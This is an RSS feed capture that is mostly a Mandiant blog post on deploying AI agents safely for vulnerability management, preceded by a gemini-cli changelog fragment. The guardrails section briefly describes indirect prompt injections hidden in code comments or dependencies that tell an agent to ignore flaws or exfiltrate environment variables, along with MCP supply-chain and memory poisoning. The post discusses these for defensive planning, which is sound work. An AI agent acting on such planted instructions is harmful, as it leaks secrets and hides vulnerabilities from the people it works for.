<li>Changelog for v0.51.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839873704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28320" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28320/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28320">#28320</a></li>
<li>Changelog for v0.50.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840167585" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28322" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28322/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28322">#28322</a></li>
<li>fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780686006" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28223">#28223</a></li>
<li>fix(core): use unambiguous previous intent label in fallback summary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848950194" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28343" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28343/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28343">#28343</a></li>
<li>feat(caretaker-triage): implement main worker execution loop and egress action publisher by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832842460" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28306" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28306/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28306">#28306</a></li>
<li>fix(privacy): show a clear message when the account has no Code Assist tier by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830501064" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28304" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28304/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28304">#28304</a></li>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.51.0-preview.0...v0.52.0-preview.0"><tt>v0.51.0-preview.0...v0.52.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use ChatGPT on iPhone: Setup, Siri integration, and practical tips]]></title>
<description><![CDATA[Learn how to use ChatGPT on iPhone — from downloading the app to enabling Siri integration. Covers free and paid options. Find more AI tools on Setapp.]]></description>
<link>https://tsecurity.de/de/3674170/ios-mac-os/how-to-use-chatgpt-on-iphone-setup-siri-integration-and-practical-tips/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674170/ios-mac-os/how-to-use-chatgpt-on-iphone-setup-siri-integration-and-practical-tips/</guid>
<pubDate>Thu, 16 Jul 2026 18:43:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn how to use ChatGPT on iPhone — from downloading the app to enabling Siri integration. Covers free and paid options. Find more AI tools on Setapp.]]></content:encoded>
</item>
<item>
<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image1.max-1000x1000.png" alt="Demystifying AI image1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="u6hlz">Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image5.max-1000x1000.png" alt="Demystifying AI image5">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ce5s1">Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image8.max-1000x1000.png" alt="Demystifying AI image8">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 3: Structural containment and observability architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image4.max-1000x1000.png" alt="Demystifying AI image4">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 4: Deterministic SAST scanners vs. probabilistic LLMs</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image3.max-1000x1000.png" alt="Demystifying AI image3">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
